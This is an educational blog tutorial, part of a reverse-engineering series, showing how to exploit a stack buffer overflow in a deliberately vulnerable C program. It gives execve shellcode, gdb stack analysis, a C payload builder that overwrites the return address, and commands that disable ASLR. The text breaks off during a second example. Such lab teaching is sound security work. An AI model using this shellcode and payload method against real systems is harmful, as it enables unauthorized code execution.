Hey fellow pwners!

In BOF1 and BOF2, we saw what Buffer Overflow Vulnerability is, what Control Flow Hijacking is and tried out practical examples of Control Flow Hijacking.

In ECI1, ECI2 and ECI3, we saw what Code Injection is, what System Calls are, how to write working shellcode, wrote Standard shellcode and Reverse-TCP shellcode to get some practice.

We now know what a Buffer Overflow Vulnerability is and also know what Shellcode is.

In this post, we will see how Shellcode Injection can be used to exploit a Buffer Overflow Vulnerability.

Create a directory with name post_12 in the rev_eng_series directory.

Let us get started.

Overview

Let us have a quick look at an example of Buffer Overflow Vulnerability.

Consider the following program:

rev_eng_series/post_12$ cat bof.c 
#include<stdio.h>
#include<string.h>

void func() {

    char buffer[200];
    printf("Address of buffer = %u\n", buffer);
    gets(buffer);
}


int main(int argc, char  **argv) {

    printf("Before calling func\n");
    func();
    printf("After calling func\n");
    
    return 0;
}

It is a simple program. A function func is called in main function. It is using the vulnerable gets function. So, we will use Code Injection method to exploit this program and get a shell!

There is a printf statement which prints the Address of the buffer. This is just to make our job easy. We will remove this printf statement later.

The following Shellcode will be used throughout the post - in all examples.

rev_eng_series/post_12$ objdump -Mintel -d shell32

shell32:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060:	31 c0                	xor    eax,eax
8048062:	50                   	push   eax
8048063:	68 2f 2f 73 68       	push   0x68732f2f
8048068:	68 2f 62 69 6e       	push   0x6e69622f
804806d:	89 e3                	mov    ebx,esp
804806f:	50                   	push   eax
8048070:	53                   	push   ebx
8048071:	89 e1                	mov    ecx,esp
8048073:	31 d2                	xor    edx,edx
8048075:	b0 0b                	mov    al,0xb
8048077:	cd 80                	int    0x80


Shellcode: 

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

It is the execve shellcode we wrote.

Preparation

Before starting our experiment, we will disable all security features.

  1. Compile the above program in the following manner:

     rev_eng_series/post_12$ gcc bof.c -o bof -m32 -fno-stack-protector -zexecstack

  2. Disable the Address Space randomizing feature.

     rev_eng_series/post_12# echo 0 > /proc/sys/kernel/randomize_va_space
    • Note that you have to be root to disable this feature.

Example - 1

Exploitation can be divided into 2 parts.

  1. Injecting our Shellcode in an appropriate memory location.

  2. Use the BOF and Control Flow Hijacking to jump to the memory location where Shellcode is stored.

Step1: Injecting our Shellcode in an appropriate memory location

The first thing that comes to mind is the buffer itself. There is a buffer of size 200 bytes where we can store the shellcode.

Step2: Use the BOF and Control Flow Hijacking to jump to the memory location where Shellcode is stored.

This is the soul of the exploit. Let us run the executable bof and check it out.

rev_eng_series/post_12$ ./bof
Before calling func
Address of buffer = 0xffffcbd8
woeihfwoieh
After calling func

rev_eng_series/post_12$ ./bof
Before calling func
Address of buffer = 0xffffcbd8
p3upwiefpwef
After calling func

rev_eng_series/post_12$ ./bof
Before calling func
Address of buffer = 0xffffcbd8
adwaithgautham
After calling func

So, the Address of buffer = 0xffffcbd8. This might be different for you. Sometimes, even if the randomization feature is off, the buffer address changes. It is not completely random, but it changes. It is my observation.

Alright. We have the Address of buffer.

  1. We will open bof in gdb, inspect the stack before we get into exploitation. The function func is our interest. So, let us look at it’s disassembly

     rev_eng_series/post_12$ gdb -q bof
 Reading symbols from bof...(no debugging symbols found)...done.
 gdb-peda$ disass func
 Dump of assembler code for function func:
 0x0804846b <+0>:	push   ebp
 0x0804846c <+1>:	mov    ebp,esp
 0x0804846e <+3>:	sub    esp,0xd8
 0x08048474 <+9>:	sub    esp,0x8
 0x08048477 <+12>:	lea    eax,[ebp-0xd0]
 0x0804847d <+18>:	push   eax
 0x0804847e <+19>:	push   0x8048570
 0x08048483 <+24>:	call   0x8048320 <printf@plt>
 0x08048488 <+29>:	add    esp,0x10
 0x0804848b <+32>:	sub    esp,0xc
 0x0804848e <+35>:	lea    eax,[ebp-0xd0]
 0x08048494 <+41>:	push   eax
 0x08048495 <+42>:	call   0x8048330 <gets@plt>
 0x0804849a <+47>:	add    esp,0x10
 0x0804849d <+50>:	nop
 0x0804849e <+51>:	leave  
 0x0804849f <+52>:	ret    
 End of assembler dump.
 gdb-peda$

    • Let us break at 0x0804846b <+0>: push ebp .Let us first run one instruction at a time and go through the whole function.

        gdb-peda$ b *0x0804846b
  Breakpoint 1 at 0x804846b
  gdb-peda$

    • Note that the addresses you have might be different from mine. But the concept is same.

  2. Let us run!

    • The following is the state at the breakpoint.

        [----------------------------------registers-----------------------------------]
  EAX: 0x14 
  EBX: 0x0 
  ECX: 0xffffffff 
  EDX: 0xf7fad870 --> 0x0 
  ESI: 0xf7fac000 --> 0x1b1db0 
  EDI: 0xf7fac000 --> 0x1b1db0 
  EBP: 0xffffcc78 --> 0x0 
  ESP: 0xffffcc6c --> 0x80484c6 (<main+38>:	sub    esp,0xc)
  EIP: 0x804846b (<func>:	push   ebp)
  EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
  0x8048462 <frame_dummy+34>:	add    esp,0x10
  0x8048465 <frame_dummy+37>:	leave  
  0x8048466 <frame_dummy+38>:	jmp    0x80483e0 <register_tm_clones>
  => 0x804846b <func>:	push   ebp
  0x804846c <func+1>:	mov    ebp,esp
  0x804846e <func+3>:	sub    esp,0xd8
  0x8048474 <func+9>:	sub    esp,0x8
  0x8048477 <func+12>:	lea    eax,[ebp-0xd0]
  [------------------------------------stack-------------------------------------]
  0000| 0xffffcc6c --> 0x80484c6 (<main+38>:	sub    esp,0xc)
  0004| 0xffffcc70 --> 0xf7fac3dc --> 0xf7fad1e0 --> 0x0 
  0008| 0xffffcc74 --> 0xffffcc90 --> 0x1 
  0012| 0xffffcc78 --> 0x0 
  0016| 0xffffcc7c --> 0xf7e12637 (<__libc_start_main+247>:	add    esp,0x10)
  0020| 0xffffcc80 --> 0xf7fac000 --> 0x1b1db0 
  0024| 0xffffcc84 --> 0xf7fac000 --> 0x1b1db0 
  0028| 0xffffcc88 --> 0x0 
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value

  Breakpoint 1, 0x0804846b in func ()
  gdb-peda$

    • There is some important information here. The top of the stack has the Return Address of of func. The StackAddress where this Return Address is stored is 0xffffcc6c. This is important.

    • Let us run the next few instructions. let us get the address of buffer from printf’s output.

        Address of buffer = 0xffffcb98

    • Why did we make note of the StackAddress where Return Address is stored and Address of buffer? We made note of it because we need to craft the exploit payload according to it.

    • Let us use the x/ command and get a very clear picture of the stack.

        gdb-peda$ x/60xw 0xffffcb98
  0xffffcb98:	0xffffcc58	0xf7e623e4	0xf7facd60	0x0804b008
  0xffffcba8:	0x00000014	0xf7e643ac	0x0804859a	0xf7facd60
  0xffffcbb8:	0x00000001	0xf7e652d4	0x00000014	0x0000000a
  0xffffcbc8:	0xf7fad870	0xf7e6412d	0xf7facd60	0x0804b008
  0xffffcbd8:	0xf7facd60	0xf7e6447b	0xf7facd60	0x0804b008
  0xffffcbe8:	0x00000014	0xf7e643ac	0xf7fac000	0xf7facd60
  0xffffcbf8:	0xf7fad870	0xf7e64e12	0xf7facd60	0x0000000a
  0xffffcc08:	0x000000e0	0xf7fac000	0xf7e64dd7	0xf7fac000
  0xffffcc18:	0x00000013	0xf7e59dfb	0xf7facd60	0x0000000a
  0xffffcc28:	0x00000013	0x00000f17	0xf7fe77eb	0xf7df9700
  0xffffcc38:	0x00000000	0xf7facd60	0xffffcc78	0xf7fee010
  0xffffcc48:	0xf7e59cab	0x00000000	0xf7fac000	0xf7fac000
  0xffffcc58:	0xffffcc78	0x080484be	0x08048588	0xffffcd24
  0xffffcc68:	0xffffcc78	0x080484c6	0xf7fac3dc	0xffffcc90
  0xffffcc78:	0x00000000	0xf7e12637	0xf7fac000	0xf7fac000
  gdb-peda$

    • Let us calculate the gap between the starting address of buffer and StackAddress where Return Address is stored.

        StackAddress - bufferAddress = 0xffffcc6c - 0xffffcb98 = 212 bytes

    • So, the gap is 212 bytes. The stack looks like this:

        <buffer - 200 bytes><some gap - 8 bytes><Old ebp - 4 bytes><Return Address - 4 bytes>

  |----------------------------------------------------------|-------------------------|
                          212 bytes                                      4 bytes

    • Now that we have a clear picture of the stack, let us plan the exploit.

  3. Planning the exploit!

    • Again, the stack looks like this:

        <buffer - 200 bytes><some gap - 8 bytes><Old ebp - 4 bytes><Return Address - 4 bytes>

  |----------------------------------------------------------|-------------------------|
                          212 bytes                                      4 bytes

    • We can store the shellcode right at the beginning of the buffer. That occupies 25 bytes. So, the amount of space left is:

        212 - 25 = 187 bytes.

    • We can fill 183 bytes with say ‘a’s, the old ebp space with ‘b’.

    • What will the Return Address be overwritten with? We will overwrite it with the buffer Address. So, instead of returning back to main function, it starts executing something present at the beginning of the buffer. What is present at the beginning of the buffer? Our evil shellcode :P

    • So, this is the plan.

Let us come out of gdb and craft the right input.

  1. Crafting the right payload!

    • The Payload looks like this:

        <Shellcode - 25 bytes><'a' - 183 bytes><'b' - 4 bytes><buffer Address - 4 bytes>

    • When bof is run using gdb, I got the following buffer Address.

        rev_eng_series/post_12$ gdb -q bof
  Reading symbols from bof...(no debugging symbols found)...done.
  gdb-peda$ run
  Starting program: /home/adwi/ALL/rev_eng_series/post_12/bof 
  Before calling func
  Address of buffer = 0xffffcbb8

  After calling func
  [Inferior 1 (process 22773) exited normally]
  Warning: not running or target is remote
  gdb-peda$

    • Note that the buffer Address has changed. The Randomization feature is off, but the address has changed. This is something to think about.

    • Keeping buffer Address = 0xffffcbb8, I will craft the payload. Consider the following C program:

        rev_eng_series/post_12$ cat build_payload.c 
  #include<stdio.h>

  int main() {

      unsigned char payload[] = 

      // Shellcode - 25 bytes
      "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

      // a_junk - 183 bytes
      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

      // b_junk - 4 bytes
      "bbbb"

      // buffer Address - 4 bytes
      "\xb8\xcb\xff\xff";


      // Payload is stored in a file named "payload.txt"
      FILE *fp = fopen("payload.txt", "wb");
      fwrite(payload, sizeof(payload), 1, fp);
      fclose(fp);
            
      return 0;
  }

    • Compile and run it and store the payload in payload.txt.

        rev_eng_series/post_12$ gcc build_payload.c -o build_payload
  rev_eng_series/post_12$ ./build_payload

    • Now, we have the required payload. Let us run bof with gdb by injecting the above payload and check if it works or not.

    • Let us run.

        gdb-peda$ run < payload.txt

    • The following is the output I got.

        Starting program: /home/adwi/ALL/rev_eng_series/post_12/bof < payload.txt
  Before calling func
  Address of buffer = 0xffffcbb8
  process 23243 is executing new program: /bin/dash
  warning: the debug information found in "/lib64/ld-2.23.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).

  [Inferior 1 (process 23243) exited normally]
  Warning: not running or target is remote
  gdb-peda$

    • It says, executing new program: /bin/dash.

    • Bingo!! The exploit has worked perfectly.

    • Let us run through func 1 instruction at a time and confirm this.

        gdb-peda$ b func
  Breakpoint 1 at 0x8048474
  gdb-peda$ run < payload.txt

    • The following is the state just before ret of func is executed.

        [----------------------------------registers-----------------------------------]
  EAX: 0xffffcbb8 --> 0x6850c031 
  EBX: 0x0 
  ECX: 0xf7fac5a0 --> 0xfbad2098 
  EDX: 0xf7fad87c --> 0x0 
  ESI: 0xf7fac000 --> 0x1b1db0 
  EDI: 0xf7fac000 --> 0x1b1db0 
  EBP: 0x62626262 ('bbbb')
  ESP: 0xffffcc8c --> 0xffffcbb8 --> 0x6850c031 
  EIP: 0x804849f (<func+52>:	ret)
  EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
  0x804849a <func+47>:	add    esp,0x10
  0x804849d <func+50>:	nop
  0x804849e <func+51>:	leave  
  => 0x804849f <func+52>:	ret    
  0x80484a0 <main>:	lea    ecx,[esp+0x4]
  0x80484a4 <main+4>:	and    esp,0xfffffff0
  0x80484a7 <main+7>:	push   DWORD PTR [ecx-0x4]
  0x80484aa <main+10>:	push   ebp
  [------------------------------------stack-------------------------------------]
  0000| 0xffffcc8c --> 0xffffcbb8 --> 0x6850c031 
  0004| 0xffffcc90 --> 0xf7fa0000 --> 0xe4a0288 
  0008| 0xffffcc94 --> 0xffffccb0 --> 0x1 
  0012| 0xffffcc98 --> 0x0 
  0016| 0xffffcc9c --> 0xf7e12637 (<__libc_start_main+247>:	add    esp,0x10)
  0020| 0xffffcca0 --> 0xf7fac000 --> 0x1b1db0 
  0024| 0xffffcca4 --> 0xf7fac000 --> 0x1b1db0 
  0028| 0xffffcca8 --> 0x0 
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value
  0x0804849f in func ()
  gdb-peda$

    • Look at the top of the stack. It is 0xffffcbb8. This is as planned. Look at what is present at 0xffffcbb8.

        gdb-peda$ x/11i  0xffffcbb8
  => 0xffffcbb8:	xor    eax,eax
  0xffffcbba:	push   eax
  0xffffcbbb:	push   0x68732f2f
  0xffffcbc0:	push   0x6e69622f
  0xffffcbc5:	mov    ebx,esp
  0xffffcbc7:	push   eax
  0xffffcbc8:	push   ebx
  0xffffcbc9:	mov    ecx,esp
  0xffffcbcb:	xor    edx,edx
  0xffffcbcd:	mov    al,0xb
  0xffffcbcf:	int    0x80
  gdb-peda$

    • This is our shellcode!. Let us just continue. This is the output.

        gdb-peda$ continue
  Continuing.
  process 23460 is executing new program: /bin/dash
  Error in re-setting breakpoint 1: Function "func" not defined.
  warning: the debug information found in "/lib64/ld-2.23.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).

  [Inferior 1 (process 23460) exited normally]
  Warning: not running or target is remote
  gdb-peda$

    • So, it is 100% confirmed that a shell is being spawned.

  2. Let us come back to normal executable of bof. Let us leave gdb aside.

     rev_eng_series/post_12$ ./bof
 Before calling func
 Address of buffer = 0xffffcbd8

 After calling func

    • buffer Address = 0xffffcbd8. So, change the build_payload.c accordingly like this:

        rev_eng_series/post_12$ cat build_payload.c 
  #include<stdio.h>

  int main() {

      unsigned char payload[] = 

      // Shellcode
      "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

      // a_junk
      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

      // b_junk
      "bbbb"

      // buffer Address
      "\xd8\xcb\xff\xff";


      // Payload is stored in a file named "payload.txt"
      FILE *fp = fopen("payload.txt", "wb");
      fwrite(payload, sizeof(payload), 1, fp);
      fclose(fp);
            
      return 0;
  }

    • The buffer Address is changed.

    • Let us compile and run it and store the correct payload in payload.txt.

        rev_eng_series/post_12$ gcc build_payload.c -o build_payload
  rev_eng_series/post_12$ ./build_payload

    • Let us run bof with payload.

        rev_eng_series/post_12$ cat payload.txt - | ./bof
  Before calling func
  Address of buffer = 0xffffcbd8


  whoami
  adwi
  who
  adwi     tty7         Dec  7 11:35 (:0)
  ls
  bof	       build_payload.c	 payload.txt		shell32
  bof.c	       build_payload.py  peda-session-bof.txt	shell32_no_null.asm
  build_payload  exploit.txt	 peda-session-dash.txt	shell32_no_null.o
  ls -al
  total 72
  drwxrwxr-x  2 adwi adwi 4096 Dec  8 01:54 .
  drwxrwxr-x 15 adwi adwi 4096 Dec  7 23:18 ..
  -rw-------  1 adwi adwi  464 Dec  8 01:46 .gdb_history
  -rwxrwxr-x  1 adwi adwi 7440 Dec  8 00:04 bof
  -rw-rw-r--  1 adwi adwi  241 Dec  8 00:04 bof.c
  -rwxrwxr-x  1 adwi adwi 8776 Dec  8 01:54 build_payload
  -rw-rw-r--  1 adwi adwi  604 Dec  8 01:52 build_payload.c
  -rw-rw-r--  1 adwi adwi  217 Dec  8 01:54 payload.txt
  -rw-rw-r--  1 adwi adwi   12 Dec  8 01:48 peda-session-bof.txt
  -rw-rw-r--  1 adwi adwi   27 Dec  8 01:50 peda-session-dash.txt
  -rwxrwxr-x  1 adwi adwi  516 Dec  7 23:59 shell32

    • Woohoo! We got the shell!

With this, we will conclude our first example. Let us summarize the steps we followed to get a shell from bof:

  1. Run the vulnerable program using gdb. Do complete study of stack. Find the buffer Address, StackAddress where Return Address is stored and any other details required for exploitation.

  2. Planning the exploit: Do the calculations - size of shellcode, how much junk should you fill in, where exactly should you place the buffer Address so that it overwrites the Return Address. Clearly know how the payload should look like and know what happens when you execute it.

  3. Craft the payload: Write a program to craft the payload for you. We wrote the build_payload.c program which simply loaded the payload into payload.txt.

  4. Open the executable with gdb and check if the this payload works. If it works, it is confirmed that it will work when you run the executable normally. Note that buffer Address kept changing predictably even when the Randomizing feature was off. That is why the Addresses were not completely random which would have made it really hard to predict.

If you get a shell, enjoy the god control!

Exploitation - Example 2

We saw a complete example of how a BOF can be exploited to get a shell. When we are exploiting a BOF in general, we can face multiple problems. One such problem is the buffer size. Here, we have taken the size to be 200, big enough to run even our Reverse-TCP Shellcode.

But consider a situation where the buffer size is 10. You cannot get a shell from our shellcode. What you can do is, you can execute exit systemcall and shutdown the program :P

So, what do we do now? One we have a BOF, it has to be exploited. We are not stopping until we get a shell!

Let us slowly do some observation and solve this problem.

  1. Let us print all the environment variables using printenv.

     rev_eng_series/post_12$ printenv
 XDG_VTNR=7
 XDG_SESSION_ID=c2
 rvm_bin_path=/home/adwi/.rvm/bin
 XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/adwi
 CLUTTER_IM_MODULE=xim
 SESSION=ubuntu
 SHELLCODE=wohfwoiehfowiehfoi
 GEM_HOME=/home/adwi/.rvm/gems/ruby-2.4.1
 GPG_AGENT_INFO=/home/adwi/.gnupg/S.gpg-agent:0:1
 TERM=xterm-256color
 VTE_VERSION=4205
 XDG_MENU_PREFIX=gnome-
 SHELL=/bin/bash
 IRBRC=/home/adwi/.rvm/rubies/ruby-2.4.1/.irbrc
 QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
 SEED_ENV=1234
 WINDOWID=75499199
 OLDPWD=/home/adwi/ALL/rev_eng_series
 UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/2835
 GNOME_KEYRING_CONTROL=
 MY_RUBY_HOME=/home/adwi/.rvm/rubies/ruby-2.4.1
 GTK_MODULES=gail:atk-bridge:unity-gtk-module
 USER=adwi
 LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
 QT_ACCESSIBILITY=1
 _system_type=Linux
 UNITY_HAS_3D_SUPPORT=true
 XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
 rvm_path=/home/adwi/.rvm
 XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
 SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
 DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path
 SESSION_MANAGER=local/adwi:@/tmp/.ICE-unix/3364,unix/adwi:/tmp/.ICE-unix/3364
 XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg
 UNITY_DEFAULT_PROFILE=unity
 rvm_prefix=/home/adwi
 DESKTOP_SESSION=ubuntu
 PATH=/home/adwi/.cargo/bin:/home/adwi/.rvm/gems/ruby-2.4.1/bin:/home/adwi/.rvm/gems/ruby-2.4.1@global/bin:/home/adwi/.rvm/rubies/ruby-2.4.1/bin:/home/adwi/.cargo/bin:/home/adwi/bin:/home/adwi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/adwi/.rvm/bin:/home/adwi/android_studio_bin/:.:/home/adwi/.rvm/bin:/home/adwi/.cargo/bin
 QT_IM_MODULE=ibus
 QT_QPA_PLATFORMTHEME=appmenu-qt5
 XDG_SESSION_TYPE=x11
 PWD=/home/adwi/ALL/rev_eng_series/post_12
 JOB=unity-settings-daemon
 XMODIFIERS=@im=ibus
 GNOME_KEYRING_PID=
 LANG=en_IN
 GDM_LANG=en_US
 MANDATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path
 _system_arch=x86_64
 COMPIZ_CONFIG_PROFILE=ubuntu
 IM_CONFIG_PHASE=1
 _system_version=16.04
 GDMSESSION=ubuntu
 rvm_version=1.29.4 (master)
 SESSIONTYPE=gnome-session
 GTK2_MODULES=overlay-scrollbar
 SHLVL=1
 HOME=/home/adwi
 XDG_SEAT=seat0
 LANGUAGE=en_IN:en
 GNOME_DESKTOP_SESSION_ID=this-is-deprecated
 UPSTART_INSTANCE=
 UPSTART_EVENTS=xsession started
 XDG_SESSION_DESKTOP=ubuntu
 LOGNAME=adwi
 COMPIZ_BIN_PATH=/usr/bin/
 GEM_PATH=/home/adwi/.rvm/gems/ruby-2.4.1:/home/adwi/.rvm/gems/ruby-2.4.1@global
 DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-bCUgkuxed9
 XDG_DATA_DIRS=/usr/share/ubuntu:/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
 QT4_IM_MODULE=xim
 LESSOPEN=| /usr/bin/lesspipe %s
 INSTANCE=
 UPSTART_JOB=unity7
 XDG_RUNTIME_DIR=/run/user/1000
 DISPLAY=:0
 XDG_CURRENT_DESKTOP=Unity
 GTK_IM_MODULE=ibus
 RUBY_VERSION=ruby-2.4.1
 LESSCLOSE=/usr/bin/lesspipe %s %s
 _system_name=Ubuntu
 XAUTHORITY=/home/adwi/.Xauthority
 _=/usr/bin/printenv

  2. We have seen what environment variables are in this post. We can see a huge list of variables.

    • When we run another executable say bof using this environment, all these environment variables are automatically inherited. Inherited simply means, all these environment variables are stored somewhere in the process’s memory. Let us find the memory location where it is stored.

  3. Finding Environment variables in the process’s memory.

    • In the process’s stack, all command-line arguments passed to that program, all environment variables inherited are stored. So, let us write a program to retrive all the environment variables.

    • First, let us open bof in gdb and checkout the stack manually and see if we can find what we need.

    • Let us run:

        rev_eng_series/post_12$ gdb -q bof
  Reading symbols from bof...(no debugging symbols found)...done.
  gdb-peda$ b main
  Breakpoint 1 at 0x80484ae

    • This is the gdb-state at the breakpoint.

        [----------------------------------registers-----------------------------------]
  EAX: 0xf7faddbc --> 0xffffcd2c --> 0xffffcf6d ("XDG_VTNR=7")
  EBX: 0x0 
  ECX: 0xffffcc90 --> 0x1 
  EDX: 0xffffccb4 --> 0x0 
  ESI: 0xf7fac000 --> 0x1b1db0 
  EDI: 0xf7fac000 --> 0x1b1db0 
  EBP: 0xffffcc78 --> 0x0 
  ESP: 0xffffcc74 --> 0xffffcc90 --> 0x1 
  EIP: 0x80484ae (<main+14>:	sub    esp,0x4)
  EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
  0x80484aa <main+10>:	push   ebp
  0x80484ab <main+11>:	mov    ebp,esp
  0x80484ad <main+13>:	push   ecx
  => 0x80484ae <main+14>:	sub    esp,0x4
  0x80484b1 <main+17>:	sub    esp,0xc
  0x80484b4 <main+20>:	push   0x8048588
  0x80484b9 <main+25>:	call   0x8048340 <puts@plt>
  0x80484be <main+30>:	add    esp,0x10
  [------------------------------------stack-------------------------------------]
  0000| 0xffffcc74 --> 0xffffcc90 --> 0x1 
  0004| 0xffffcc78 --> 0x0 
  0008| 0xffffcc7c --> 0xf7e12637 (<__libc_start_main+247>:	add    esp,0x10)
  0012| 0xffffcc80 --> 0xf7fac000 --> 0x1b1db0 
  0016| 0xffffcc84 --> 0xf7fac000 --> 0x1b1db0 
  0020| 0xffffcc88 --> 0x0 
  0024| 0xffffcc8c --> 0xf7e12637 (<__libc_start_main+247>:	add    esp,0x10)
  0028| 0xffffcc90 --> 0x1 
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value

  Breakpoint 1, 0x080484ae in main ()
  gdb-peda$

    • Let us take some stack address and use the x/ command to find the contents in the stack.

    • Let us take esp value 0xffffcc74. You can take any stack address you see.

    • Using x/ command:

        gdb-peda$ x/100s 0xffffcc74
  0xffffcc74:	"\220\314\377\377"
  0xffffcc79:	""
  0xffffcc7a:	""
  0xffffcc7b:	""
  0xffffcc7c:	"7&\341", <incomplete sequence \367>
  0xffffcc81:	"\300\372", <incomplete sequence \367>
  0xffffcc85:	"\300\372", <incomplete sequence \367>
  0xffffcc89:	""
  0xffffcc8a:	""
  0xffffcc8b:	""
  0xffffcc8c:	"7&\341\367\001"
  0xffffcc92:	""
  0xffffcc93:	""
  0xffffcc94:	"$\315\377\377,\315\377\377"
  0xffffcc9d:	""
  0xffffcc9e:	""
  0xffffcc9f:	""
  0xffffcca0:	""
  0xffffcca1:	""
  0xffffcca2:	""
  0xffffcca3:	""
  0xffffcca4:	""
  0xffffcca5:	""
  0xffffcca6:	""
  0xffffcca7:	""
  0xffffcca8:	""
  0xffffcca9:	"\300\372\367\004\334\377", <incomplete sequence \367>
  0xffffccb1:	"\320\377", <incomplete sequence \367>
  0xffffccb5:	""
  0xffffccb6:	""
  0xffffccb7:	""
  0xffffccb8:	""
  0xffffccb9:	"\300\372", <incomplete sequence \367>
  0xffffccbd:	"\300\372", <incomplete sequence \367>
  0xffffccc1:	""
  0xffffccc2:	""
  0xffffccc3:	""
  0xffffccc4:	"\a\366\301\303\027\070\023\376"
  0xffffcccd:	""
  0xffffccce:	""
  0xffffcccf:	""
  0xffffccd0:	""
  0xffffccd1:	""
  0xffffccd2:	""
  0xffffccd3:	""
  0xffffccd4:	""
  0xffffccd5:	""
  0xffffccd6:	""
  0xffffccd7:	""
  0xffffccd8:	"\001"
  0xffffccda:	""
  0xffffccdb:	""
  0xffffccdc:	"p\203\004\b"
  0xffffcce1:	""
  0xffffcce2:	""
  0xffffcce3:	""
  0xffffcce4:	"\020\340\376\367\200\210\376", <incomplete sequence \367>
  0xffffcced:	"\320\377\367\001"
  0xffffccf2:	""
  0xffffccf3:	""
  0xffffccf4:	"p\203\004\b"
  0xffffccf9:	""
  0xffffccfa:	""
  0xffffccfb:	""
  0xffffccfc:	"\221\203\004\b\240\204\004\b\001"
  0xffffcd06:	""
  0xffffcd07:	""
  0xffffcd08:	"$\315\377\377\360\204\004\bP\205\004\b\200\210\376\367\034\315\377\377\030\331\377\367\001"
  0xffffcd22:	""
  0xffffcd23:	""
  0xffffcd24:	"C\317\377\377"
  0xffffcd29:	""
  0xffffcd2a:	""
  0xffffcd2b:	""
  0xffffcd2c:	"m\317\377\377x\317\377\377\212\317\377\377\240\317\377\377\320\317\377\377\361\317\377\377"
